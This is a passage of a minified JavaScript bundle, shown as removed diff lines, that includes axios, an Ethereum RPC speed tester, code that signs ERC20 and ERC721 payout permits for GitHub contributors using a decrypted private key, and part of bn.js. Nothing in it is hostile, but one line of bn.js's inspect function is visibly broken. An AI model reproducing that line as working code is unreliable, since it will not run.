(e2.method || this.defaults.method || "get").toLowerCase(); - let i2 = A2 && Ky.merge(A2.common, A2[e2.method]); - A2 && Ky.forEach(["delete", "get", "head", "post", "put", "patch", "common"], (t3) => { - delete A2[t3]; - }), e2.headers = bC.concat(i2, A2); - const o2 = []; - let s2 = true; - this.interceptors.request.forEach(function(t3) { - "function" == typeof t3.runWhen && false === t3.runWhen(e2) || (s2 = s2 && t3.synchronous, o2.unshift(t3.fulfilled, t3.rejected)); - }); - const a2 = []; - let c2; - this.interceptors.response.forEach(function(t3) { - a2.push(t3.fulfilled, t3.rejected); - }); - let h2, g2 = 0; - if (!s2) { - const t3 = [om.bind(this), void 0]; - for (t3.unshift.apply(t3, o2), t3.push.apply(t3, a2), h2 = t3.length, c2 = Promise.resolve(e2); g2 < h2; ) - c2 = c2.then(t3[g2++], t3[g2++]); - return c2; - } - h2 = o2.length; - let u2 = e2; - for (g2 = 0; g2 < h2; ) { - const t3 = o2[g2++], e3 = o2[g2++]; - try { - u2 = t3(u2); - } catch (t4) { - e3.call(this, t4); - break; - } - } - try { - c2 = om.call(this, u2); - } catch (t3) { - return Promise.reject(t3); - } - for (g2 = 0, h2 = a2.length; g2 < h2; ) - c2 = c2.then(a2[g2++], a2[g2++]); - return c2; - } - getUri(t2) { - return iC(UC((t2 = HC(this.defaults, t2)).baseURL, t2.url), t2.params, t2.paramsSerializer); - } - }; - Ky.forEach(["delete", "get", "head", "options"], function(t2) { - um.prototype[t2] = function(e2, r4) { - return this.request(HC(r4 || {}, { method: t2, url: e2, data: (r4 || {}).data })); - }; - }), Ky.forEach(["post", "put", "patch"], function(t2) { - function e2(e3) { - return function(r4, n2, A2) { - return this.request(HC(A2 || {}, { method: t2, headers: e3 ? { "Content-Type": "multipart/form-data" } : {}, url: r4, data: n2 })); - }; - } - um.prototype[t2] = e2(), um.prototype[t2 + "Form"] = e2(true); - }); - var lm = um; - Al(), il(); - var fm = class t2 { - constructor(t3) { - if ("function" != typeof t3) - throw new TypeError("executor must be a function."); - let e2; - this.promise = new Promise(function(t4) { - e2 = t4; - }); - const r4 = this; - this.promise.then((t4) => { - if (!r4._listeners) - return; - let e3 = r4._listeners.length; - for (; e3-- > 0; ) - r4._listeners[e3](t4); - r4._listeners = null; - }), this.promise.then = (t4) => { - let e3; - const n2 = new Promise((t5) => { - r4.subscribe(t5), e3 = t5; - }).then(t4); - return n2.cancel = function() { - r4.unsubscribe(e3); - }, n2; - }, t3(function(t4, n2, A2) { - r4.reason || (r4.reason = new NC(t4, n2, A2), e2(r4.reason)); - }); - } - throwIfRequested() { - if (this.reason) - throw this.reason; - } - subscribe(t3) { - this.reason ? t3(this.reason) : this._listeners ? this._listeners.push(t3) : this._listeners = [t3]; - } - unsubscribe(t3) { - if (!this._listeners) - return; - const e2 = this._listeners.indexOf(t3); - -1 !== e2 && this._listeners.splice(e2, 1); - } - static source() { - let e2; - return { token: new t2(function(t3) { - e2 = t3; - }), cancel: e2 }; - } - }; - Al(), il(), Al(), il(), Al(), il(); - var pm = { Continue: 100, SwitchingProtocols: 101, Processing: 102, EarlyHints: 103, Ok: 200, Created: 201, Accepted: 202, NonAuthoritativeInformation: 203, NoContent: 204, ResetContent: 205, PartialContent: 206, MultiStatus: 207, AlreadyReported: 208, ImUsed: 226, MultipleChoices: 300, MovedPermanently: 301, Found: 302, SeeOther: 303, NotModified: 304, UseProxy: 305, Unused: 306, TemporaryRedirect: 307, PermanentRedirect: 308, BadRequest: 400, Unauthorized: 401, PaymentRequired: 402, Forbidden: 403, NotFound: 404, MethodNotAllowed: 405, NotAcceptable: 406, ProxyAuthenticationRequired: 407, RequestTimeout: 408, Conflict: 409, Gone: 410, LengthRequired: 411, PreconditionFailed: 412, PayloadTooLarge: 413, UriTooLong: 414, UnsupportedMediaType: 415, RangeNotSatisfiable: 416, ExpectationFailed: 417, ImATeapot: 418, MisdirectedRequest: 421, UnprocessableEntity: 422, Locked: 423, FailedDependency: 424, TooEarly: 425, UpgradeRequired: 426, PreconditionRequired: 428, TooManyRequests: 429, RequestHeaderFieldsTooLarge: 431, UnavailableForLegalReasons: 451, InternalServerError: 500, NotImplemented: 501, BadGateway: 502, ServiceUnavailable: 503, GatewayTimeout: 504, HttpVersionNotSupported: 505, VariantAlsoNegotiates: 506, InsufficientStorage: 507, LoopDetected: 508, NotExtended: 510, NetworkAuthenticationRequired: 511 }; - Object.entries(pm).forEach(([t2, e2]) => { - pm[e2] = t2; - }); - var dm = pm; - var Im = function t2(e2) { - const r4 = new lm(e2), n2 = ay(lm.prototype.request, r4); - return Ky.extend(n2, lm.prototype, r4, { allOwnKeys: true }), Ky.extend(n2, r4, null, { allOwnKeys: true }), n2.create = function(r5) { - return t2(HC(e2, r5)); - }, n2; - }(mC); - Im.Axios = lm, Im.CanceledError = NC, Im.CancelToken = fm, Im.isCancel = DC, Im.VERSION = sm, Im.toFormData = $y, Im.AxiosError = qy, Im.Cancel = Im.CanceledError, Im.all = function(t2) { - return Promise.all(t2); - }, Im.spread = function(t2) { - return function(e2) { - return t2.apply(null, e2); - }; - }, Im.isAxiosError = function(t2) { - return Ky.isObject(t2) && true === t2.isAxiosError; - }, Im.mergeConfig = HC, Im.AxiosHeaders = bC, Im.formToJSON = (t2) => yC(Ky.isHTMLForm(t2) ? new FormData(t2) : t2), Im.getAdapter = Am, Im.HttpStatusCode = dm, Im.default = Im; - var ym = Im; - var Cm = class { - static async testRpcPerformance(t2, e2, r4, n2, A2, i2) { - const o2 = ym.create({ timeout: i2, headers: n2, cancelToken: new ym.CancelToken((t3) => setTimeout(() => t3("Request Timeout"), i2)) }), s2 = r4.map((t3) => new Promise((e3) => { - const r5 = performance.now(); - o2.post(t3, A2).then(() => { - const n3 = performance.now(); - e3({ rpcUrl: t3, duration: n3 - r5, success: true }); - }).catch(() => { - e3({ rpcUrl: t3, success: false, duration: 0 }); - }); - })), a2 = await Promise.race(s2); - a2.success && (e2[`${t2}__${a2.rpcUrl}`] = a2.duration); - return (await Promise.allSettled(s2)).forEach((n3) => { - if ("fulfilled" === n3.status && n3.value.success) - e2[`${t2}__${n3.value.rpcUrl}`] = n3.value.duration; - else if ("fulfilled" === n3.status) { - const t3 = n3.value, e3 = r4.indexOf(t3.rpcUrl); - e3 > -1 && r4.splice(e3, 1); - } - }), { latencies: e2, runtimeRpcs: r4 }; - } - static async findFastestRpc(t2, e2) { - try { - const r4 = Object.entries(t2).filter(([t3]) => t3.startsWith(`${e2}__`)).reduce((t3, [e3, r5]) => (t3[e3] = r5, t3), {}); - return Object.keys(r4).reduce((t3, e3) => r4[t3] < r4[e3] ? t3 : e3).split("__")[1]; - } catch (t3) { - return console.error("[RPCService] Failed to find fastest RPC"), null; - } - } - static _verifyBlock(t2) { - try { - const { jsonrpc: e2, id: r4, result: n2 } = t2, { number: A2, timestamp: i2, hash: o2 } = n2; - return "2.0" === e2 && 1 === r4 && parseInt(A2, 16) > 0 && parseInt(i2, 16) > 0 && 66 === o2.match(/[0-9|a-f|A-F|x]/gm)?.join("").length; - } catch (t3) { - return false; - } - } - }; - Al(), il(); - var mm = class { - static getLatencies(t2, e2) { - if ("browser" === t2) { - if (this.bypassForTests()) - return {}; - const t3 = JSON.parse(localStorage.getItem("rpcLatencies") || "{}"); - return Object.keys(t3).reduce((r4, n2) => (n2.startsWith(`${e2}__`) && (r4[n2] = t3[n2]), r4), {}); - } - return {}; - } - static getRefreshLatencies(t2) { - if ("browser" === t2) { - if (this.bypassForTests()) - return 0; - const t3 = JSON.parse(localStorage.getItem("refreshLatencies") || "0"); - return "number" == typeof t3 ? t3 : 0; - } - return 0; - } - static setLatencies(t2, e2) { - if ("browser" === t2) { - if (this.bypassForTests()) - return; - localStorage.setItem("rpcLatencies", JSON.stringify(e2)); - } - } - static setRefreshLatencies(t2, e2) { - if ("browser" === t2) { - if (this.bypassForTests()) - return; - localStorage.setItem("refreshLatencies", JSON.stringify(e2)); - } - } - static bypassForTests() { - if ("undefined" == typeof localStorage) - return console.log("Passing test because localStorage is not defined."), true; - } - }; - var Bm = class t2 { - static _instance = null; - _provider = null; - _networkId; - _networkName; - _env = "node"; - _rpcTimeout = Number.MAX_SAFE_INTEGER; - _cacheRefreshCycles = 10; - _refreshLatencies = 0; - _autoStorage = false; - _runtimeRpcs = []; - _latencies = {}; - _networkRpcs = []; - constructor(t3) { - this._networkId = t3.networkId, this._networkRpcs = Ql[this._networkId], this._networkName = _l[this._networkId], this._initialize(t3); - } - async getFastestRpcProvider() { - return 31337 === this._networkId ? this._provider = new sy("http://127.0.0.1:8545", this._networkId) : this._provider || (this._provider = await this.testRpcPerformance()), this._provider && this._provider?.connection.url.includes("localhost") && 31337 !== this._networkId && (this._provider = await this.testRpcPerformance()), this._provider; - } - async testRpcPerformance() { - Object.keys(this._latencies).filter((t4) => t4.startsWith(`${this._networkId}__`)).length <= 1 || this._refreshLatencies >= this._cacheRefreshCycles ? (this._runtimeRpcs = Ql[this._networkId], this._refreshLatencies = 0) : this._runtimeRpcs = Object.keys(this._latencies).map((t4) => t4.split("__")[1]), await this._testRpcPerformance(); - const t3 = await Cm.findFastestRpc(this._latencies, this._networkId); - if (!t3) - throw new Error("Failed to find fastest RPC"); - const e2 = new sy(t3, this._networkId); - if (this._provider = e2, this._autoStorage && (mm.setLatencies(this._env, this._latencies), mm.setRefreshLatencies(this._env, this._refreshLatencies)), !this._provider) - throw new Error("Provider could not be initialized"); - return this._provider; - } - getProvider() { - if (!this._provider) - throw new Error("Provider is not initialized"); - return this._provider; - } - static getInstance(e2) { - if (!t2._instance) { - if (!e2) - throw new Error("Config is required to initialize RPCHandler"); - t2._instance = new t2(e2); - } - return t2._instance; - } - clearInstance() { - t2._instance = null; - } - getRuntimeRpcs() { - return this._runtimeRpcs; - } - getNetworkId() { - return this._networkId; - } - getNetworkName() { - return this._networkName; - } - getNetworkRpcs() { - return this._networkRpcs; - } - getLatencies() { - return this._latencies; - } - getRefreshLatencies() { - return this._refreshLatencies; - } - getCacheRefreshCycles() { - return this._cacheRefreshCycles; - } - async _testRpcPerformance() { - const { latencies: t3, runtimeRpcs: e2 } = await Cm.testRpcPerformance(this._networkId, this._latencies, this._runtimeRpcs, { "Content-Type": "application/json" }, JSON.stringify({ jsonrpc: "2.0", method: "eth_getBlockByNumber", params: ["latest", false], id: 1 }), this._rpcTimeout); - this._runtimeRpcs = e2, this._latencies = t3, this._refreshLatencies++, mm.setLatencies(this._env, this._latencies), mm.setRefreshLatencies(this._env, this._refreshLatencies); - } - _updateConfig(t3) { - t3.networkName && (this._networkName = t3.networkName), t3.networkRpcs && (this._networkRpcs = [...this._networkRpcs, ...t3.networkRpcs]), t3.runtimeRpcs && (this._runtimeRpcs = t3.runtimeRpcs), t3.cacheRefreshCycles && (this._cacheRefreshCycles = t3.cacheRefreshCycles), t3.rpcTimeout && (this._rpcTimeout = t3.rpcTimeout), t3.autoStorage && (this._autoStorage = true, this._latencies = mm.getLatencies(this._env, this._networkId), this._refreshLatencies = mm.getRefreshLatencies(this._env)); - } - _initialize(t3) { - this._env = "undefined" == typeof window ? "node" : "browser", this._updateConfig(t3); - } - }; - async function Em(t2) { - try { - const e2 = ( - /*! Bundled license information: - - js-sha3/src/sha3.js: - (** - * [js-sha3]{@link https://github.com/emn178/js-sha3} - * - * @version 0.8.0 - * @author Chen, Yi-Cyuan [emn178@gmail.com] - * @copyright Chen, Yi-Cyuan 2015-2018 - * @license MIT - *) - */ - function(t3) { - return new Bm({ networkId: t3, autoStorage: false, cacheRefreshCycles: 5, rpcTimeout: 1500, networkName: null, runtimeRpcs: null, networkRpcs: null }); - }(t2) - ); - return await e2.getFastestRpcProvider(); - } catch (e2) { - throw new Error(`Failed to get fastest provider for networkId: ${t2}`); - } - } - async function wm(t2, e2, r4, n2) { - let A2; - const i2 = e2; - let o2, s2, a2, c2, h2; - if ("issueId" in t2) - A2 = t2.logger, o2 = t2.walletAddress, a2 = t2.evmNetworkId, c2 = t2.evmPrivateEncrypted, s2 = t2.issueId, h2 = t2.userId; - else { - const e3 = t2.config; - A2 = t2.logger; - const { evmNetworkId: r5, evmPrivateEncrypted: n3 } = e3, { data: g3 } = await t2.octokit.users.getByUsername({ username: i2 }); - if (!g3) - throw new Error(`GitHub user was not found for id ${i2}`); - h2 = g3.id; - const { wallet: u3 } = t2.adapters.supabase; - if (o2 = await u3.getWalletByUserId(h2), a2 = r5, c2 = n3, "issue" in t2.payload) - s2 = t2.payload.issue.id; - else { - if (!("pull_request" in t2.payload)) - throw new Error("Issue Id is missing"); - s2 = t2.payload.pull_request.id; - } - } - if (!i2) - throw new Error("User was not found"); - if (!o2) { - const t3 = "ERC20 Permit generation error: Wallet not found"; - throw A2.error(t3), new Error(t3); - } - const g2 = await Em(a2); - if (!g2) - throw A2.error("Provider is not defined"), new Error("Provider is not defined"); - const { privateKey: u2 } = await ju(c2); - if (!u2) { - const t3 = "Private key is not defined"; - throw A2.fatal(t3), new Error(t3); - } - let l2, f2; - try { - l2 = new Gu(u2, g2); - } catch (t3) { - const e3 = `Failed to instantiate wallet: ${t3}`; - throw A2.debug(e3), new Error(e3); - } - try { - const t3 = new ug(n2, ["function decimals() public view returns (uint8)"], g2); - f2 = await t3.decimals(); - } catch (t3) { - const e3 = `Failed to get token decimals for token: ${n2}`; - throw A2.debug(e3), new Error(e3); - } - const p2 = { permitted: { token: n2, amount: SA(r4.toString(), f2) }, spender: o2, nonce: BigInt(no(aA(`${h2}-${s2}`))), deadline: $s }, { domain: d2, types: I2, values: y2 } = fn.SignatureTransfer.getPermitData(p2, fn.PERMIT2_ADDRESS, a2), C2 = await l2.signTypedData({ name: d2.name, version: d2.version, chainId: d2.chainId ? d2.chainId.toString() : void 0, verifyingContract: d2.verifyingContract, salt: d2.salt?.toString() }, I2, y2).catch((t3) => { - const e3 = `Failed to sign typed data ${t3}`; - throw A2.error(e3), new Error(e3); - }), m2 = { tokenType: Hu.ERC20, tokenAddress: p2.permitted.token, beneficiary: p2.spender, nonce: p2.nonce.toString(), deadline: p2.deadline.toString(), amount: p2.permitted.amount.toString(), owner: l2.address, signature: C2, networkId: a2 }; - return A2.info("Generated ERC20 permit2 signature", m2), m2; - } - var vm = "NftReward-Domain"; - var _m = "1"; - var Qm = { MintRequest: [{ name: "beneficiary", type: "address" }, { name: "deadline", type: "uint256" }, { name: "keys", type: "bytes32[]" }, { name: "nonce", type: "uint256" }, { name: "values", type: "string[]" }] }; - async function bm(t2, e2, r4) { - let n2, A2, i2, o2, s2, a2, c2, h2, g2, u2 = e2; - if ("evmNetworkId" in t2) - n2 = t2.logger, A2 = t2.nftContractAddress, o2 = t2.nftMinterPrivateKey, i2 = t2.evmNetworkId, a2 = t2.walletAddress, c2 = t2.issueId, h2 = t2.organizationName, g2 = t2.repositoryName, s2 = t2.userId; - else { - const { NFT_MINTER_PRIVATE_KEY: r5, NFT_CONTRACT_ADDRESS: l3 } = t2.env, { evmNetworkId: f3 } = t2.config, p3 = t2.adapters; - if (n2 = t2.logger, A2 = l3, i2 = f3, o2 = r5, u2 = e2, !t2.eventName.startsWith("issues.")) - throw new Error("Issue Id is missing."); - c2 = t2.payload.issue.id.toString(), h2 = t2.payload.repository.owner.login, g2 = t2.payload.repository.name; - const { data: d3 } = await t2.octokit.users.getByUsername({ username: u2 }); - if (!d3) - throw new Error(`GitHub user was not found for id ${u2}`); - s2 = d3.id; - const I3 = await p3.supabase.wallet.getWalletByUserId(s2); - if (!I3) - throw n2.error("No wallet found for user"), new Error("No wallet found for user"); - a2 = I3; - } - const l2 = await Em(i2); - if (!l2) - throw n2.error("Provider is not defined"), new Error("Provider is not defined"); - if (!A2) { - const t3 = "NFT contract address is not defined"; - throw n2.error(t3), new Error(t3); - } - let f2; - try { - f2 = new Gu(o2, l2); - } catch (t3) { - throw n2.error("Failed to instantiate wallet", t3), new Error("Failed to instantiate wallet"); - } - const p2 = { GITHUB_ORGANIZATION_NAME: h2, GITHUB_REPOSITORY_NAME: g2, GITHUB_ISSUE_ID: c2, GITHUB_USERNAME: u2, GITHUB_CONTRIBUTION_TYPE: r4 }, d2 = Object.entries(p2), I2 = { beneficiary: a2, deadline: fn.MaxUint256.toBigInt(), keys: d2.map(([t3]) => no(aA(t3))), nonce: BigInt(no(aA(`${s2}-${c2}`))), values: d2.map(([, t3]) => t3) }, y2 = { name: vm, version: _m, verifyingContract: A2, chainId: i2 }, C2 = await f2.signTypedData(y2, Qm, I2).catch((t3) => { - throw n2.error("Failed to sign typed data", t3), new Error(`Failed to sign typed data: ${t3}`); - }), m2 = { tokenType: Hu.ERC721, tokenAddress: A2, beneficiary: a2, amount: "1", nonce: I2.nonce.toString(), deadline: I2.deadline.toString(), signature: C2, owner: f2.address, networkId: i2, erc721Request: { keys: I2.keys.map((t3) => t3.toString()), values: I2.values, metadata: p2 } }; - return console.info("Generated ERC721 permit signature", { erc721Permit: m2 }), m2; - } - exports.decodePermits = function(t2) { - const e2 = atob(t2), r4 = JSON.parse(e2), n2 = []; - for (const t3 of r4) { - const e3 = "erc20-permit" === t3.type ? Hu.ERC20 : Hu.ERC721; - e3 === Hu.ERC721 ? n2.push({ amount: t3.permit.permitted.amount, beneficiary: t3.transferDetails.to, deadline: t3.permit.deadline, networkId: t3.networkId, nonce: t3.permit.nonce, owner: t3.owner, signature: t3.signature, tokenAddress: t3.permit.permitted.token, tokenType: e3, ..."erc721-permit" === t3.type && t3.nftMetadata && { erc721Request: { metadata: t3.nftMetadata, keys: t3.request?.keys ?? [], values: t3.request?.values ?? [] } } }) : n2.push({ amount: t3.permit.permitted.amount, beneficiary: t3.transferDetails.to, deadline: t3.permit.deadline, networkId: t3.networkId, nonce: t3.permit.nonce, owner: t3.owner, signature: t3.signature, tokenAddress: t3.permit.permitted.token, tokenType: e3 }); - } - return n2; - }, exports.encodePermits = function(t2) { - const e2 = t2.map((t3) => t3.tokenType === Hu.ERC20 ? { type: "erc20-permit", permit: { permitted: { token: t3.tokenAddress, amount: t3.amount }, nonce: t3.nonce, deadline: t3.deadline }, transferDetails: { to: t3.beneficiary, requestedAmount: t3.amount }, owner: t3.owner, signature: t3.signature, networkId: t3.networkId } : t3.erc721Request ? { type: "erc721-permit", permit: { permitted: { token: t3.tokenAddress, amount: t3.amount }, nonce: t3.nonce, deadline: t3.deadline }, transferDetails: { to: t3.beneficiary, requestedAmount: t3.amount }, owner: t3.owner, signature: t3.signature, networkId: t3.networkId, nftMetadata: t3.erc721Request.metadata, request: { beneficiary: t3.beneficiary, deadline: t3.deadline, keys: t3.erc721Request?.keys, nonce: t3.nonce, values: t3.erc721Request?.values } } : null).filter((t3) => t3); - return Buffer.from(JSON.stringify(e2)).toString("base64"); - }, exports.generateErc20PermitSignature = wm, exports.generateErc721PermitSignature = bm, exports.generatePayoutPermit = async function(t2, e2) { - const r4 = []; - for (const n2 of e2) { - const { type: e3, amount: A2, username: i2, contributionType: o2, tokenAddress: s2 } = n2; - let a2; - switch (e3) { - case "ERC20": - a2 = await wm(t2, i2, A2, s2); - break; - case "ERC721": - a2 = await bm(t2, i2, o2); - break; - default: - t2.logger.error(`Invalid permit type: ${e3}`); - continue; - } - r4.push(a2); - } - return r4; - }; - } - }); - - // (disabled):node_modules/buffer/index.js - var require_buffer2 = __commonJS({ - "(disabled):node_modules/buffer/index.js"() { - } - }); - - // node_modules/bn.js/lib/bn.js - var require_bn2 = __commonJS({ - "node_modules/bn.js/lib/bn.js"(exports, module) { - (function(module2, exports2) { - "use strict"; - function assert3(val, msg) { - if (!val) - throw new Error(msg || "Assertion failed"); - } - function inherits2(ctor, superCtor) { - ctor.super_ = superCtor; - var TempCtor = function() { - }; - TempCtor.prototype = superCtor.prototype; - ctor.prototype = new TempCtor(); - ctor.prototype.constructor = ctor; - } - function BN4(number, base3, endian) { - if (BN4.isBN(number)) { - return number; - } - this.negative = 0; - this.words = null; - this.length = 0; - this.red = null; - if (number !== null) { - if (base3 === "le" || base3 === "be") { - endian = base3; - base3 = 10; - } - this._init(number || 0, base3 || 10, endian || "be"); - } - } - if (typeof module2 === "object") { - module2.exports = BN4; - } else { - exports2.BN = BN4; - } - BN4.BN = BN4; - BN4.wordSize = 26; - var Buffer2; - try { - if (typeof window !== "undefined" && typeof window.Buffer !== "undefined") { - Buffer2 = window.Buffer; - } else { - Buffer2 = require_buffer2().Buffer; - } - } catch (e) { - } - BN4.isBN = function isBN(num) { - if (num instanceof BN4) { - return true; - } - return num !== null && typeof num === "object" && num.constructor.wordSize === BN4.wordSize && Array.isArray(num.words); - }; - BN4.max = function max(left, right) { - if (left.cmp(right) > 0) - return left; - return right; - }; - BN4.min = function min(left, right) { - if (left.cmp(right) < 0) - return left; - return right; - }; - BN4.prototype._init = function init3(number, base3, endian) { - if (typeof number === "number") { - return this._initNumber(number, base3, endian); - } - if (typeof number === "object") { - return this._initArray(number, base3, endian); - } - if (base3 === "hex") { - base3 = 16; - } - assert3(base3 === (base3 | 0) && base3 >= 2 && base3 <= 36); - number = number.toString().replace(/\s+/g, ""); - var start = 0; - if (number[0] === "-") { - start++; - this.negative = 1; - } - if (start < number.length) { - if (base3 === 16) { - this._parseHex(number, start, endian); - } else { - this._parseBase(number, base3, start); - if (endian === "le") { - this._initArray(this.toArray(), base3, endian); - } - } - } - }; - BN4.prototype._initNumber = function _initNumber(number, base3, endian) { - if (number < 0) { - this.negative = 1; - number = -number; - } - if (number < 67108864) { - this.words = [number & 67108863]; - this.length = 1; - } else if (number < 4503599627370496) { - this.words = [ - number & 67108863, - number / 67108864 & 67108863 - ]; - this.length = 2; - } else { - assert3(number < 9007199254740992); - this.words = [ - number & 67108863, - number / 67108864 & 67108863, - 1 - ]; - this.length = 3; - } - if (endian !== "le") - return; - this._initArray(this.toArray(), base3, endian); - }; - BN4.prototype._initArray = function _initArray(number, base3, endian) { - assert3(typeof number.length === "number"); - if (number.length <= 0) { - this.words = [0]; - this.length = 1; - return this; - } - this.length = Math.ceil(number.length / 3); - this.words = new Array(this.length); - for (var i = 0; i < this.length; i++) { - this.words[i] = 0; - } - var j, w; - var off = 0; - if (endian === "be") { - for (i = number.length - 1, j = 0; i >= 0; i -= 3) { - w = number[i] | number[i - 1] << 8 | number[i - 2] << 16; - this.words[j] |= w << off & 67108863; - this.words[j + 1] = w >>> 26 - off & 67108863; - off += 24; - if (off >= 26) { - off -= 26; - j++; - } - } - } else if (endian === "le") { - for (i = 0, j = 0; i < number.length; i += 3) { - w = number[i] | number[i + 1] << 8 | number[i + 2] << 16; - this.words[j] |= w << off & 67108863; - this.words[j + 1] = w >>> 26 - off & 67108863; - off += 24; - if (off >= 26) { - off -= 26; - j++; - } - } - } - return this._strip(); - }; - function parseHex4Bits(string, index2) { - var c = string.charCodeAt(index2); - if (c >= 48 && c <= 57) { - return c - 48; - } else if (c >= 65 && c <= 70) { - return c - 55; - } else if (c >= 97 && c <= 102) { - return c - 87; - } else { - assert3(false, "Invalid character in " + string); - } - } - function parseHexByte(string, lowerBound, index2) { - var r3 = parseHex4Bits(string, index2); - if (index2 - 1 >= lowerBound) { - r3 |= parseHex4Bits(string, index2 - 1) << 4; - } - return r3; - } - BN4.prototype._parseHex = function _parseHex(number, start, endian) { - this.length = Math.ceil((number.length - start) / 6); - this.words = new Array(this.length); - for (var i = 0; i < this.length; i++) { - this.words[i] = 0; - } - var off = 0; - var j = 0; - var w; - if (endian === "be") { - for (i = number.length - 1; i >= start; i -= 2) { - w = parseHexByte(number, start, i) << off; - this.words[j] |= w & 67108863; - if (off >= 18) { - off -= 18; - j += 1; - this.words[j] |= w >>> 26; - } else { - off += 8; - } - } - } else { - var parseLength = number.length - start; - for (i = parseLength % 2 === 0 ? start + 1 : start; i < number.length; i += 2) { - w = parseHexByte(number, start, i) << off; - this.words[j] |= w & 67108863; - if (off >= 18) { - off -= 18; - j += 1; - this.words[j] |= w >>> 26; - } else { - off += 8; - } - } - } - this._strip(); - }; - function parseBase(str, start, end, mul5) { - var r3 = 0; - var b = 0; - var len = Math.min(str.length, end); - for (var i = start; i < len; i++) { - var c = str.charCodeAt(i) - 48; - r3 *= mul5; - if (c >= 49) { - b = c - 49 + 10; - } else if (c >= 17) { - b = c - 17 + 10; - } else { - b = c; - } - assert3(c >= 0 && b < mul5, "Invalid character"); - r3 += b; - } - return r3; - } - BN4.prototype._parseBase = function _parseBase(number, base3, start) { - this.words = [0]; - this.length = 1; - for (var limbLen = 0, limbPow = 1; limbPow <= 67108863; limbPow *= base3) { - limbLen++; - } - limbLen--; - limbPow = limbPow / base3 | 0; - var total = number.length - start; - var mod = total % limbLen; - var end = Math.min(total, total - mod) + start; - var word = 0; - for (var i = start; i < end; i += limbLen) { - word = parseBase(number, i, i + limbLen, base3); - this.imuln(limbPow); - if (this.words[0] + word < 67108864) { - this.words[0] += word; - } else { - this._iaddn(word); - } - } - if (mod !== 0) { - var pow = 1; - word = parseBase(number, i, number.length, base3); - for (i = 0; i < mod; i++) { - pow *= base3; - } - this.imuln(pow); - if (this.words[0] + word < 67108864) { - this.words[0] += word; - } else { - this._iaddn(word); - } - } - this._strip(); - }; - BN4.prototype.copy = function copy(dest) { - dest.words = new Array(this.length); - for (var i = 0; i < this.length; i++) { - dest.words[i] = this.words[i]; - } - dest.length = this.length; - dest.negative = this.negative; - dest.red = this.red; - }; - function move(dest, src) { - dest.words = src.words; - dest.length = src.length; - dest.negative = src.negative; - dest.red = src.red; - } - BN4.prototype._move = function _move(dest) { - move(dest, this); - }; - BN4.prototype.clone = function clone() { - var r3 = new BN4(null); - this.copy(r3); - return r3; - }; - BN4.prototype._expand = function _expand(size) { - while (this.length < size) { - this.words[this.length++] = 0; - } - return this; - }; - BN4.prototype._strip = function strip() { - while (this.length > 1 && this.words[this.length - 1] === 0) { - this.length--; - } - return this._normSign(); - }; - BN4.prototype._normSign = function _normSign() { - if (this.length === 1 && this.words[0] === 0) { - this.negative = 0; - } - return this; - }; - if (typeof Symbol !== "undefined" && typeof Symbol.for === "function") { - try { - BN4.prototype[Symbol.for("nodejs.util.inspect.custom")] = inspect7; - } catch (e) { - BN4.prototype.inspect = inspect7; - } - } else { - BN4.prototype.inspect = inspect7; - } - function inspect7() { - return (this.red ? ""; - } - var zeros2 = [ - "", - "0", - "00", - "000", - "0000", - "00000", - "000000", - "0000000", - "00000000", - "000000000", - "0000000000", - "00000000000", - "000000000000", - "0000000000000", - "00000000000000", - "000000000000000", - "0000000000000000", - "00000000000000000", - "000000000000000000", - "0000000000000000000", - "00000000000000000000", - "000000000000000000000", - "0000000000000000000000", - "00000000000000000000000", - "000000000000000000000000", - "0000000000000000000000000" - ]; - var groupSizes = [ - 0, - 0, - 25, - 16, - 12, - 11, - 10, - 9, - 8, - 8, - 7, - 7, - 7, - 7, - 6, - 6, - 6, - 6, - 6, - 6, - 6, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5 - ]; - var groupBases = [ - 0, - 0, - 33554432, - 43046721, - 16777216, - 48828125, - 60466176, - 40353607, - 16777216, - 43046721, - 1e7, - 19487171, - 35831808, - 62748517, - 7529536, - 11390625, - 16777216, - 24137569, - 34012224, - 47045881, - 64e6, - 4084101, - 5153632, - 6436343, - 7962624, - 9765625, - 11881376, - 14348907, - 17210368, - 20511149, - 243e5, - 28629151, - 33554432, - 39135393, - 45435424, - 52521875, - 60466176 - ]; - BN4.prototype.toString = function toString3(base3, padding3) { - base3 = base3 || 10; - padding3 = padding3 | 0 || 1; - var out; - if (base3 === 16 || base3 === "hex") { - out = ""; - var off = 0; - var carry = 0; - for (var i = 0; i < this.length; i++) { - var w = this.words[i]; - var word = ((w << off | carry) & 16777215).toString(16); - carry = w >>> 24 - off & 16777215; - off += 2; - if (off >= 26) { - off -= 26; - i--; - } - if (carry !== 0 || i !== this.length - 1) { - out = zeros2[6 - word.length] + word + out; - } else { - out = word + out; - } - } - if (carry !== 0) { - out = carry.toString(16) + out; - } - while (out.length % padding3 !== 0) { - out = "0" + out; - } - if (this.negative !== 0) { - out = "-" + out; - } - return out; - } - if (base3 === (base3 | 0) && base3 >= 2 && base3 <= 36) { - var groupSize = groupSizes[base3]; - var groupBase = groupBases[base3]; - out = ""; - var c = this.clone(); - c.negative = 0; - while (!c.isZero()) { - var r3 = c.modrn(groupBase).toString(base3); - c = c.idivn(groupBase); - if (!c.isZero()) { - out = zeros2[groupSize - r3.length] + r3 + out; - } else { - out = r3 + out; - } - } - if (this.isZero()) { - out = "0" + out; - } - while (out.length % padding3 !== 0) { - out = "0" + out; - } - if (this.negative !== 0) { - out = "-" + out; - } - return out; - } - assert3(false, "Base should be between 2 and 36"); - }; - BN4.prototype.toNumber = function toNumber2() { - var ret = this.words[0]; - if (this.length === 2) { - ret += this.words[1] * 67108864; - } else if (this.length === 3 && this.words[2] === 1) { - ret += 4503599627370496 + this.words[1] * 67108864; - } else if (this.length > 2) { - assert3(false, "Number can only safely store up to 53 bits"); - } - return this.negative !== 0 ? -ret : ret; - }; - BN4.prototype.toJSON = function toJSON4() { - return this.toString(16, 2); - }; - if (Buffer2) { - BN4.prototype.toBuffer = function toBuffer(endian, length) { - return this.toArrayLike(Buffer2, endian, length); - }; - } - BN4.prototype.toArray = function toArray3(endian, length) { - return this.toArrayLike(Array, endian, length); - }; - var allocate = function allocate2(ArrayType, size) { - if (ArrayType.allocUnsafe) { - return ArrayType.allocUnsafe(size); - } - return new ArrayType(size); - }; - BN4.prototype.toArrayLike = function toArrayLike(ArrayType, endian, length) { - this._strip(); - var byteLength = this.byteLength(); - var reqLength = length || Math.max(1, byteLength); - assert3(byteLength <= reqLength, "byte array longer than desired length"); - assert3(reqLength > 0, "Requested array length <= 0"); - var res 